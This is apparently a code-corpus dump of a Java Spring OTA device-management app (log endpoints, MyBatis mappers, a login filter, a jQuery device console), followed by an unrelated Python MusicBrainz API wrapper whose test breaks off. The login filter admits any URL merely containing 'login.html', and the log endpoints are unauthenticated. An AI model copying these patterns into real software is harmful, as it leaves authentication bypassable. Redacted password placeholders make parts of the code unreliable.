import org.springframework.web.bind.annotation.ResponseBody;
import com.alibaba.fastjson.JSONObject;
import com.github.miemiedev.mybatis.paginator.domain.PageBounds;
import com.ota.dao.OTALogMapper;
import com.ota.domain.OTALog;
import com.ota.tools.OTAToolKit;
@Controller
public class OTALogHandlers {
@Autowired
private OTALogMapper otaLogMapper;
@RequestMapping(value = "otalog-info")
@ResponseBody
public Map<String, Object> otalogRequest(HttpServletRequest request) {
int offset = Integer.parseInt(request.getParameter("offset"));
int pageSize = Integer.parseInt(request.getParameter("pageSize"));
String customer = request.getParameter("customer");
String model = request.getParameter("model");
String action = request.getParameter("action");
if (customer.equals("All Customer"))
customer = null;
if (model.equals("All Model"))
model = null;
if(action.equals("All Action"))
action = null;
Map<String, Object> map = new HashMap<>();
Map<String, Object> resultMap = new HashMap<>();
try {
map.put("customer", customer);
map.put("model", model);
map.put("action", action);
PageBounds pageBounds = OTAToolKit.getPagerBoundsByParameter(pageSize, offset);
List<OTALog> otaLogs;
otaLogs = otaLogMapper.selectOTALogsWithFilter(map, pageBounds);
int total = otaLogMapper.countOTALogsWithFilter(map);
resultMap.put("total", total);
resultMap.put("rows", otaLogs);
} catch (Exception exception) {
exception.printStackTrace();
}
return resultMap;
}
@RequestMapping(value="otalogrequest",method=RequestMethod.GET)
@ResponseBody
public JSONObject otalogRequest(OTALog otaLog) {
JSONObject jsonObject = new JSONObject();
String standartTimeString = OTAToolKit.string2StandardFormOfTimeString(otaLog.getLogtime());
otaLog.setLogtime(standartTimeString);
try {
otaLogMapper.insertSelective(otaLog);
jsonObject.put("code", "1");
jsonObject.put("msg", "success!");
} catch(Exception exception) {
exception.printStackTrace();
jsonObject.put("code", "-1");
jsonObject.put("msg", "error in upload log!");
}
return jsonObject;
//http://localhost:8080/ota/otalogrequest?mac=00:00:00:00:00:01&model=random¤tversion=0.1&updateversion=1.0&ipaddress=172.16.31.10&logtime=20171012233333&action=ssdased
}
@RequestMapping("get-otalog")
@ResponseBody
public List<OTALog> getOTALog() {
List<OTALog> otaloglist = otaLogMapper.selectAllOTALog();
return otaloglist;
}
}
<file_sep>package com.ota.dao;
import java.util.List;
import java.util.Map;
import com.github.miemiedev.mybatis.paginator.domain.PageBounds;
import com.ota.domain.BurnMacSN;
public interface BurnMacSNMapper {
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table burnmacsn
*
* @mbggenerated
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table burnmacsn
*
* @mbggenerated
*/
int insert(BurnMacSN record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table burnmacsn
*
* @mbggenerated
*/
int insertSelective(BurnMacSN record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table burnmacsn
*
* @mbggenerated
*/
BurnMacSN selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table burnmacsn
*
* @mbggenerated
*/
int updateByPrimaryKeySelective(BurnMacSN record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table burnmacsn
*
* @mbggenerated
*/
int updateByPrimaryKey(BurnMacSN record);
List<BurnMacSN> selectAllWithFilter(Map<String, Object> map, PageBounds pageBounds);
int countAllWithFilter(Map<String, Object> map, PageBounds pageBounds);
}<file_sep>package com.ota.handlers;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import com.alibaba.fastjson.JSONObject;
import com.github.miemiedev.mybatis.paginator.domain.PageBounds;
import com.ota.dao.AppLogMapper;
import com.ota.domain.AppLog;
import com.ota.domain.OTALog;
import com.ota.tools.OTAToolKit;
@Controller
public class APPLogHandlers {
@Autowired
private AppLogMapper appLogMapper;
@RequestMapping(value = "applog-info")
@ResponseBody
public Map<String, Object> otalogRequest(HttpServletRequest request) {
int offset = Integer.parseInt(request.getParameter("offset"));
int pageSize = Integer.parseInt(request.getParameter("pageSize"));
String customer = request.getParameter("customer");
String model = request.getParameter("model");
String action = request.getParameter("action");
if (customer.equals("All Customer"))
customer = null;
if (model.equals("All Model"))
model = null;
if(action.equals("All Action"))
action = null;
Map<String, Object> map = new HashMap<>();
Map<String, Object> resultMap = new HashMap<>();
try {
map.put("customer", customer);
map.put("model", model);
map.put("action", action);
PageBounds pageBounds = OTAToolKit.getPagerBoundsByParameter(pageSize, offset);
List<OTALog> otaLogs;
otaLogs = appLogMapper.selectAppLogsWithFilter(map, pageBounds);
int total = appLogMapper.countAppLogsWithFilter(map);
resultMap.put("total", total);
resultMap.put("rows", otaLogs);
} catch (Exception exception) {
exception.printStackTrace();
}
return resultMap;
}
@RequestMapping(value="applogrequest",method=RequestMethod.GET)
@ResponseBody
public JSONObject otalogRequest(AppLog appLog) {
JSONObject jsonObject = new JSONObject();
String standartTimeString = OTAToolKit.string2StandardFormOfTimeString(appLog.getLogtime());
appLog.setLogtime(standartTimeString);
try {
appLogMapper.insertSelective(appLog);
jsonObject.put("code", "1");
jsonObject.put("msg", "success!");
} catch(Exception exception) {
exception.printStackTrace();
jsonObject.put("code", "-1");
jsonObject.put("msg", "error in upload log!");
}
//http://localhost:8080/ota/applogrequest?customer=customer01&model=random&device=idonotknow&appname=otamobile&packagename=whateveryouwant&version=0.01&logtime=20171012030233&action=ssdased
return jsonObject;
}
}
<file_sep>package com.ota.domain;
public class UserWithCom {
private String username;
private String password;
private int authority;
private String name;
private String serverip;
private String nation;
private String businessid;
private String id;
private String role;
public String getRole() {
return role;
}
public void setRole(String role) {
this.role = role;
}
public String getBusinessid() {
return businessid;
}
public void setBusinessid(String businessid) {
this.businessid = businessid;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = <PASSWORD>;
}
public int getAuthority() {
return authority;
}
public void setAuthority(int authority) {
this.authority = authority;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getServerip() {
return serverip;
}
public void setServerip(String serverip) {
this.serverip = serverip;
}
public String getNation() {
return nation;
}
public void setNation(String nation) {
this.nation = nation;
}
@Override
public String toString() {
return "UserWithCom [account=" + username + ", password=" + <PASSWORD> + ", authority=" + authority + ", name="
+ name + ", serverip=" + serverip + ", nation=" + nation + "]";
}
}
<file_sep>package com.ota.service.impl;
import java.util.Set;
import javax.annotation.Resource;
import org.springframework.stereotype.Service;
import com.ota.domain.User;
import com.ota.service.UserService;
import com.ota.dao.UserMapper;
@Service("userService")
public class UserServiceImpl implements UserService{
@Resource
private UserMapper userDao;
public User getByUserName(String userName) {
return userDao.getByUserName(userName);
}
public Set<String> getRoles(String userName) {
return userDao.getRoles(userName);
}
public Set<String> getPermissions(String userName) {
return userDao.getPermissions(userName);
}
}
<file_sep>package com.ota.handlers;
import java.io.File;
import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import com.alibaba.fastjson.JSON;
import com.ota.tools.OTAToolKit;
@Controller
public class FileUploadHandlers {
/**
* 异步上传处理
* @param request
* @param response
* @param file
* @return 返回上传文件相对路径及名称
* @throws IOException
*/
}
<file_sep>package com.ota.interceptors;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MandatoryLoginFilter implements Filter {
// private static final String FILTERED_REQUEST =
// "@@session_context_filtered_request";
private String[] allowURLs = { "login.html", "header.html", "sidebar.html" };
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resHttp = (HttpServletResponse) response;
String reqURL = req.getRequestURI();
boolean isallow = false;
for (String urlCheck : allowURLs) {
if (reqURL.indexOf(urlCheck) >= 0) {
isallow = true;
break;
}
}
if (isallow) {
chain.doFilter(request, response);
} else {
if (req.getSession().getAttribute("role") == null
|| req.getSession().getAttribute("role").equals("")) {
System.out.println("forbide");
resHttp.sendRedirect("/ota/login.html");
return;
} else {
chain.doFilter(request, response);
}
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
}
<file_sep>$(document).ready(function () {
//第一次进入页面就自动进行一次在线统计
// if (sessionStorage.getItem("statistic") == null) {
// getBox();
// }
queryCustomerList();
queryModelList();
queryBoxList();
queryAddDeviceCustomerList();
queryAddDeviceModelList();
queryEditDeviceCustomerList();
queryEditDeviceModelList();
queryGroupforEditDevice();
queryGroup();
$('#deleteDevice').bind("click", deleteDeviceClick);
$('#restartDevice').bind("click", restartDeviceClick);
$('#factoryReset').bind("click", factoryResetDeviceClick);
$('#confirm_selectDeviceWithFilter').bind("click", confirm_selectDeviceWithFilterClick);
$('#submitEditDevice').bind("click", submitEditDeviceClick);
$('#selectCustomer').on('change', selectCustomerOnchange);
});
/*
* 加载Device页面时,加载筛选器内容的函数
* queryCustomerList():加载Customer筛选器的内容
* queryModelList():加载Model筛选器的内容
* queryGroup():加载Group筛选器的内容
* selectCustomerOnchang():当Customer筛选器变动时,Group筛选器随之变动
* confirm_selectDeviceWithFilterClick():点击GO时的查询操作
* */
function queryCustomerList() {
$.ajax({
type: "get",
url: "customer-info",
data: {
//
},
success: function (result) {
var data = $.parseJSON(result);
for (var i = 0; i < data.length; i++) {
$('#selectCustomer').append("<option value=" + data[i].name + ">" + data[i].name + "</option>");
}
$('#selectCustomer').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function queryModelList() {
$.ajax({
type: "get",
url: "model-info",
data: {
//
},
success: function (result) {
var data = $.parseJSON(result);
for (var i = 0; i < data.length; i++) {
$('#selectModel').append("<option value=" + data[i].type + ">" + data[i].type + "</option>");
}
$('#selectModel').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function selectCustomerOnchange() {
//获取被选中的option标签选项
// alert($('#selectCustomer').val());
queryGroup();
}
function queryGroup() {
$.ajax({
type: "get",
url: "group-info",
data: {
"customer": $('#selectCustomer').val()
},
success: function (result) {
var select = document.getElementById("selectGroup");
select.options.length = 0;
var data = $.parseJSON(result);
// $("#confirm_selectDeviceWithFilter").attr("disabled", false);
$('#selectGroup').append("<option value=" + "All Group" + ">" + "All Group" + "</option>");
for (var i = 0; i < data.length; i++) {
$('#selectGroup').append("<option value=" + data[i] + ">" + data[i] + "</option>");
}
$('#selectGroup').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function confirm_selectDeviceWithFilterClick() {
$('#table_boxinfo').bootstrapTable('refresh');
}
/*
* queryBoxList():加载页面时,加载Box信息的函数
* */
function queryBoxList() {
$('#table_boxinfo').bootstrapTable({
height:720,
pagination: true,
sidePagination: 'server',
pageNumber: 1,
pageSize: 20,
pageList: [10, 20, 30, 50],
toolbar: $('#toolbar'),
uniqueId: 'mac',
queryParams: function (params) {
return {
customer: $('#selectCustomer').val(),
group: $('#selectGroup').val(),
model: $('#selectModel').val(),
status: $('#selectStatus').val(),
pageSize: params.limit,
offset: params.offset
}
},
url: 'deviceinfo',
onCheck: function () {
buttonControl('#table_boxinfo', '#addDevice', '#editDevice', '#deleteDevice');
},
onCheckAll: function () {
buttonControl('#table_boxinfo', '#addDevice', '#editDevice', '#deleteDevice');
},
onUncheckAll: function () {
buttonControl('#table_boxinfo', '#addDevice', '#editDevice', '#deleteDevice');
},
onUncheck: function () {
buttonControl('#table_boxinfo', '#addDevice', '#editDevice', '#deleteDevice');
}
});
}
function statusFun(value,row,index) {
if(value=="Online") {
return '<font color="green">'+'Online'+'</font>';
} else if(value="Offline") {
return '<font color="red">'+'Offline'+'</font>';
}
}
/*
* $('#addDeviceModal').on('shown.bs.modal', function ():添加Device的模态框shown时的动作
* addDeviceselectCustomerList():添加Device的模态框中的Customer选择器变动时的操作
* queryAddDeviceCustomerList():添加Device的模态框中的CUstomer选择器
* queryAddDeviceModelList():添加Device的模态框中的Model选择器
* queryGroupforAddDevice():添加Device的模态框中的Group选择器
* $("#submitAddDevice").click(function ()):确认添加Deivce的操作
* */
$('#addDeviceModal').on('shown.bs.modal', function () {
// 执行一些动作...
//alert("coming soon");
queryGroupforAddDevice();
})
function addDeviceSelectCustomerOnchange() {
//获取被选中的option标签选项
// alert($('#selectCustomer').val());
queryGroupforAddDevice();
}
function queryAddDeviceCustomerList() {
$.ajax({
type: "get",
url: "customer-info",
data: {
//
},
success: function (result) {
var data = $.parseJSON(result);
for (var i = 0; i < data.length; i++) {
$('#addDevice_selectCustomer').append("<option value=" + data[i].name + ">" + data[i].name + "</option>");
}
$('#addDevice_selectCustomer').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function queryAddDeviceModelList() {
$.ajax({
type: "get",
url: "model-info",
data: {
//
},
success: function (result) {
var select = document.getElementById("addDevice_selectModel");
var data = $.parseJSON(result);
select.options.length = 0;
for (var i = 0; i < data.length; i++) {
$('#addDevice_selectModel').append("<option value=" + data[i].type + ">" + data[i].type + "</option>");
}
$('#addDevice_selectModel').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function queryGroupforAddDevice() {
$.ajax({
type: "get",
url: "group-info",
data: {
"customer": $('#addDevice_selectCustomer').val()
},
success: function (result) {
var data = $.parseJSON(result);
var select = document.getElementById("addDevice_selectGroup");
select.options.length = 0;
var data = $.parseJSON(result);
for (var i = 0; i < data.length; i++) {
$('#addDevice_selectGroup').append("<option value=" + data[i] + ">" + data[i] + "</option>");
}
$('#addDevice_selectGroup').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function factoryResetDeviceClick() {
var selected = JSON.stringify($('#table_boxinfo').bootstrapTable('getSelections'));
selected = $.parseJSON(selected);
if(selected.length > 0) {
for (var i = 0; i < selected.length; i++) {
var mac = selected[i].mac;
sendReset(mac);
}
} else {
layer.msg('Please choose a record!',{icon: 5});
}
}
function restartDeviceClick() {
var selected = JSON.stringify($('#table_boxinfo').bootstrapTable('getSelections'));
selected = $.parseJSON(selected);
if(selected.length > 0) {
for (var i = 0; i < selected.length; i++) {
var mac = selected[i].mac;
sendReboot(mac);
}
} else {
layer.msg('Please choose a record!',{icon: 5});
}
}
$("#submitAddDevice").click(function () {
var MACBegin = $("#MACBegin").val();
var MACEnd = $("#MACEnd").val();
var UserIDBegin = $("#UserIDBegin").val();
var UserIDEnd = $("#UserIDEnd").val();
var Customer = $("#addDevice_selectCustomer").val();
var Group = $("#addDevice_selectGroup").val();
var Model = $("#addDevice_selectModel").val();
if (MACBegin && MACEnd && UserIDBegin && UserIDEnd) {//先判断填写的表单是否为空
if (checkMACAddress(MACBegin) && checkMACAddress(MACEnd)) {//判断MAC地址是否合法
var Num0xMACBegin = parseInt(MACBegin.replace(/:/g, ""), 16);
var Num0xMACEnd = parseInt(MACEnd.replace(/:/g, ""), 16);
var diffMAC = Num0xMACEnd - Num0xMACBegin;
var diffUserID = UserIDEnd - UserIDBegin;
if (diffMAC != diffUserID) {//判断MAC地址和UserID的间隔个数是否相同
console.log(Num0xMACEnd - Num0xMACBegin);
console.log(UserIDEnd - UserIDBegin);
layer.msg("The count between User ID and MAC address is not right!",{icon:2});
} else if (diffMAC < 0 || diffUserID < 0) {
layer.msg("MAC address OR UserID should begin with small and end with big",{icon:2});
} else {
var count = UserIDEnd - UserIDBegin;
var data = {
count: count,
MACBegin: MACBegin,
MACEnd: MACEnd,
UserIDBegin: UserIDBegin,
UserIDEnd: UserIDEnd,
Customer: Customer,
Group: Group,
Model: Model,
}
$.ajax({
contentType: 'application/json',
type: "post",
url: "submitBox",
contentType: 'application/json',
data: JSON.stringify(data),
success: function (result) {
layer.msg("Success, boxes have been added!");
$("#MACBegin").val("");
$("#MACEnd").val("");
$("#UserIDBegin").val("");
$("#UserIDEnd").val("");
$('#addDeviceModal').modal('hide');
$('#table_boxinfo').bootstrapTable('refresh');
console.log(result);
},
error: function (result) {
alert("Sorry, adding boxes failed at mac of " + result.erroInMac + "!");
console.log(result);
}
});
}
} else {
layer.msg("The MAC address is illegal!",{icon:2});
}
} else {//让空的表单获取焦点
if (!MACBegin) {
layer.msg("You don't write MAC Address",{icon:2});
$("#MACBegin").focus();
} else if (!MACEnd) {
layer.msg("You don't write MAC Address",{icon:2});
$("#MACEnd").focus();
} else if (!UserIDBegin) {
layer.msg("You don't write User ID",{icon:2});
$("#UserIDBegin").focus();
} else {
layer.msg("You don't write User ID",{icon:2});
$("#UserIDEnd").focus();
}
}
return false;
})
function checkMACAddress(address) {
if (address.length < 17) {
return false;
} else {
var reg = /([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}/;
if (!address.match(reg)) {
return false;
}
}
return true;
}
/*
*
* deleteDeviceClick():点击delete时,删除对应的记录
*
* */
function deleteDeviceClick() {
var selected = JSON.stringify($('#table_boxinfo').bootstrapTable('getSelections'));
selected = $.parseJSON(selected);
if(selected.length > 0) {
for (var i = 0; i < selected.length; i++) {
$.ajax({
type: "post",
url: "delete-Box",
contentType: 'application/json',
data: JSON.stringify({mac: selected[i].mac}),
success: function (result) {
result = $.parseJSON(result);
if (result.code == 1) {
layer.msg("Delete Successfully!");
$('#table_boxinfo').bootstrapTable('refresh');
}
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
})
}
} else {
layer.msg('Please choose a record!',{icon: 5});
}
}
/*
* 编辑Device时用到的模态框及相关函数
*
*
* */
$('#editDeviceModal').on('show.bs.modal', function () {
// 执行一些动作...
//alert("coming soon");
queryGroupforEditDevice();
var selected = JSON.stringify($('#table_boxinfo').bootstrapTable('getSelections'));
selected = $.parseJSON(selected);
if (selected.length == 1) {
$('#editDevice_selectedMac').val(selected[0].mac);
$("#editDevice_selectedMac").attr("readOnly", true);
$('#editDevice_selectedUserID').val(selected[0].userid);
$('#editDevice_selectedVserion').val(selected[0].romversion);
} else {
layer.msg("Please Choose A Record!",{icon:2});
$('#editDeviceModal').modal('hidden');
}
})
function editDeviceSelectCustomerOnchange() {
//获取被选中的option标签选项
// alert($('#selectCustomer').val());
queryGroupforEditDevice();
}
function queryEditDeviceCustomerList() {
$.ajax({
type: "get",
url: "customer-info",
data: {
//
},
success: function (result) {
var select = document.getElementById('editDevice_selectCustomer');
var data = $.parseJSON(result);
select.options.length = 0;
for (var i = 0; i < data.length; i++) {
$('#editDevice_selectCustomer').append("<option value=" + data[i].name + ">" + data[i].name + "</option>");
}
$('#editDevice_selectCustomer').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function queryEditDeviceModelList() {
$.ajax({
type: "get",
url: "model-info",
data: {
//
},
success: function (result) {
var select = document.getElementById("editDevice_selectModel");
var data = $.parseJSON(result);
select.options.length = 0;
for (var i = 0; i < data.length; i++) {
$('#editDevice_selectModel').append("<option value=" + data[i].type + ">" + data[i].type + "</option>");
}
$('#editDevice_selectModel').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function queryGroupforEditDevice() {
$.ajax({
type: "get",
url: "group-info",
data: {
"customer": $('#editDevice_selectCustomer').val()
},
success: function (result) {
var select = document.getElementById("editDevice_selectGroup");
select.options.length = 0;
var data = $.parseJSON(result);
for (var i = 0; i < data.length; i++) {
$('#editDevice_selectGroup').append("<option value=" + data[i] + ">" + data[i] + "</option>");
}
$('#editDevice_selectGroup').selectpicker('refresh');
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
});
}
function submitEditDeviceClick() {
data = {
mac: $('#editDevice_selectedMac').val(),
userid: $('#editDevice_selectedUserID').val(),
romversion: $('#editDevice_selectedVserion').val(),
customer: $('#editDevice_selectCustomer').val(),
group: $('#editDevice_selectGroup').val(),
model: $('#editDevice_selectModel').val(),
};
$.ajax({
type: "post",
url: "edit-Box",
contentType: 'application/json',
data: JSON.stringify(data),
success: function (result) {
result = $.parseJSON(result);
if (result.code == 1) {
$('#editDeviceModal').modal('hide');
layer.msg('Success!');
$('#table_boxinfo').bootstrapTable('refresh');
}
},
error: function (result, xhr) {
console.log(result);
console.log(xhr);
}
})
}
function clickEditAccount() {
var mac = $(this).parent().parent().siblings(".mac").val();
//alert(mac);
sendReboot(mac);
};
function clickDeleteAccount() {
var mac = $(this).parent().parent().siblings(".mac").val();
sendReset(mac);
};
var websocket = null;
//判断当前浏览器是否支持WebSocket
if ('WebSocket' in window) {
var hostport = document.location.host;
var uri = "ws://" + hostport + "/ota/websocket";
//alert(uri);
websocket = new WebSocket(uri);
} else {
alert('Not support websocket')
}
//连接发生错误的回调方法
websocket.onerror = function () {
//setMessageInnerHTML("error");
};
//连接成功建立的回调方法
websocket.onopen = function (event) {
//setMessageInnerHTML("open");
}
//接收到消息的回调方法
websocket.onmessage = function (event) {
/// setMessageInnerHTML(event.data);
}
//连接关闭的回调方法
websocket.onclose = function () {
//setMessageInnerHTML("close");
}
//监听窗口关闭事件,当窗口关闭时,主动去关闭websocket连接,防止连接还没断开就关闭窗口,server端会抛异常。
window.onbeforeunload = function () {
websocket.close();
}
//将消息显示在网页上
function setMessageInnerHTML(innerHTML) {
//document.getElementById('message').innerHTML += innerHTML + '<br/>';
}
//关闭连接
function closeWebSocket() {
websocket.close();
}
//发送消息
function sendReboot(msg) {
var message = "reboot_" + msg;
//alert(message);
websocket.send(message);
}
//发送消息
function sendReset(msg) {
var message = "reset_" + msg;
//alert(message);
websocket.send(message);
}
<file_sep>package com.ota.dao;
import com.ota.domain.AppstoreMapping;
public interface AppstoreMappingMapper {
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table appstoremapping
*
* @mbggenerated
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table appstoremapping
*
* @mbggenerated
*/
int insert(AppstoreMapping record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table appstoremapping
*
* @mbggenerated
*/
int insertSelective(AppstoreMapping record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table appstoremapping
*
* @mbggenerated
*/
AppstoreMapping selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table appstoremapping
*
* @mbggenerated
*/
int updateByPrimaryKeySelective(AppstoreMapping record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table appstoremapping
*
* @mbggenerated
*/
int updateByPrimaryKey(AppstoreMapping record);
int selectlastid();
}<file_sep>package com.ota.domain;
import java.util.Date;
public class AppstoreWithAllInfo {
private Integer id;
private String apkdownload;
private String apkicon;
private String name;
private String groupname;
private String type;
private String apkversion;
private String appstoreversion;
private String enforce;
private Date updateTime;
private String status;
private String description;
private String mappingid;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getApkdownload() {
return apkdownload;
}
public void setApkdownload(String apkdownload) {
this.apkdownload = apkdownload;
}
public String getApkicon() {
return apkicon;
}
public void setApkicon(String apkicon) {
this.apkicon = apkicon;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getGroupname() {
return groupname;
}
public void setGroupname(String groupname) {
this.groupname = groupname;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getApkversion() {
return apkversion;
}
public void setApkversion(String apkversion) {
this.apkversion = apkversion;
}
public String getAppstoreversion() {
return appstoreversion;
}
public void setAppstoreversion(String appstoreversion) {
this.appstoreversion = appstoreversion;
}
public String getEnforce() {
return enforce;
}
public void setEnforce(String enforce) {
this.enforce = enforce;
}
public Date getUpdateTime() {
return updateTime;
}
public void setUpdateTime(Date updateTime) {
this.updateTime = updateTime;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getMappingid() {
return mappingid;
}
public void setMappingid(String mappingid) {
this.mappingid = mappingid;
}
@Override
public String toString() {
return "AppstoreWithAllInfo [id=" + id + ", apkdownload=" + apkdownload + ", apkicon=" + apkicon + ", name="
+ name + ", groupname=" + groupname + ", type=" + type + ", apkversion=" + apkversion
+ ", appstoreversion=" + appstoreversion + ", enforce=" + enforce + ", updateTime=" + updateTime
+ ", status=" + status + ", description=" + description + ", mappingid=" + mappingid + "]";
}
}
<file_sep>package com.ota.dao;
import java.util.List;
import java.util.Map;
import com.ota.domain.BoxType;
public interface BoxTypeMapper {
List<BoxType> selectAllType();
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table boxtype
*
* @mbggenerated
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table boxtype
*
* @mbggenerated
*/
int insert(BoxType record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table boxtype
*
* @mbggenerated
*/
int insertSelective(BoxType record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table boxtype
*
* @mbggenerated
*/
BoxType selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table boxtype
*
* @mbggenerated
*/
int updateByPrimaryKeySelective(BoxType record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table boxtype
*
* @mbggenerated
*/
int updateByPrimaryKey(BoxType record);
int checkNewProduct(Map<String, String> map);
int selectModelIDByType(String model);
} | fb7e1e0bb0030a700d2576c7b809007cda837844 | [
"JavaScript",
"Java",
"Maven POM"
] | 25 | Maven POM | ma345564280/ota | c0d57d772e5412f66d811ad33a16ebc51b2feb6a | beb4d16d974c0e4d5388a065ec0de6632cf11476 |
refs/heads/master | <repo_name>RobertaBtt/mb_api_porting<file_sep>/musicbrainz_api_porting/__init__.py
__author__ = 'RobertaBtt'
<file_sep>/test/test_mbapi_porting_config_parser.py
__author__ = 'RobertaBtt'
import unittest
from musicbrainz_api_porting import MusicbrainzPortingConfig
class TestMusicbrainzConfigParser(unittest.TestCase):
def test_get_app(self):
app = MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('app')
assert app == "python-musicbrainz-porting"
def test_get_app(self):
app = MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('version')
assert app == "0.1"
def tearDown(self):
pass
if __name__ == '__main__':
unittest.main()<file_sep>/test/config.ini
[DEFAULT]
url = http://localhost:
port = 5000
hostname = musicbrainz.org
app = python-musicbrainz-porting
version = 0.1
format = xml
contact = https://github.com/RobertaBtt/mb_api_porting<file_sep>/musicbrainz_api_porting/APIBridge.py
__author__ = 'RobertaBtt'
import musicbrainzngs
import simplejson
import json
class APIBridge():
def __init__(self, hostname, app, version, contact, format='xml'):
# https://musicbrainz.org/ws/2/
musicbrainzngs.set_useragent(app, version, contact)
musicbrainzngs.set_hostname(hostname)
musicbrainzngs.set_format(format)
def get_artist_by_id(self, id):
return musicbrainzngs.get_artist_by_id(id, includes=[], release_status=[], release_type=[])
def get_release_group(self, artist_id, limit=None, offset=None):
return musicbrainzngs.browse_release_groups(artist_id, None, [], [], limit, offset)
def get_release_group_album_type(self, artist_id, limit=None, offset=None):
return musicbrainzngs.browse_release_groups(artist_id, None, ['album'], [], limit, offset)
<file_sep>/test/__init__.py
__author__ = 'RobertaBtt'
from . import test_flesk_app
<file_sep>/musicbrainz_api_porting/MusicbrainzPortingConfig.py
__author__ = 'RobertaBtt'
from configparser import SafeConfigParser, ConfigParser
import logging
_logger = logging.getLogger(__name__)
import os
class MusicbrainzPortingConfig:
@staticmethod
def get_confi_by_key(key):
try:
value = MusicbrainzPortingConfig._get_value(key)
return value
except Exception as e:
_logger.info(str(e))
return 0
@staticmethod
def _get_value(key):
try:
module_dir = os.path.dirname(__file__)
filename = module_dir + '/config.ini'
if os.path.isfile(filename):
parser = ConfigParser()
parser.read(filename)
else:
print ("FILE NOT FOUND")
section = 'DEFAULT'
parser.read('config.ini')
value = parser.get(section, key)
return value
except Exception as e:
raise Exception
MusicbrainzPortingConfig().get_confi_by_key('hostname')
#
# def main():
# filename = "options.cfg"
# if os.path.isfile(filename):
# parser = SafeConfigParser()
# parser.read(filename)
# print(parser.sections())
# screen_width = parser.getint('graphics','width')
# screen_height = parser.getint('graphics','height')
# else:
# print("Config file not found")
#
# if __name__=="__main__":
# main()<file_sep>/test/test_api_bridge.py
__author__ = 'RobertaBtt'
import unittest
from ..musicbrainz_api_porting import APIBridge
class TestBridge(unittest.TestCase):
Metallica = "65f4f0c5-ef9e-490c-aee3-909e7ae6b2ab"
Coldplay = "cc197bad-dc9c-440d-a5b5-d52ba2e14234"
def setUp(self):
hostname = "musicbrainz.org"
app = "python-musicbrainz-porting"
version = "0.1"
format = "xml"
contact = "https://github.com/RobertaBtt/mb_api_porting"
self.api_bridge = APIBridge.APIBridge(hostname,app, version, contact, format)
# hostname, app, version, format='xml'):
def test_get_artist_by_id(self):
artist = self.api_bridge.get_artist_by_id("65f4f0c5-ef9e-490c-aee3-909e7ae6b2ab")
assert artist['artist']['type'] == 'Group'
assert artist['artist']['name'] == 'Metallica'
assert artist['artist']['begin-area']['name'] == "Los Angeles"
def test_get_release_group(self):
release_group = self.api_bridge.get_release_group(TestBridge.Metallica, 10)
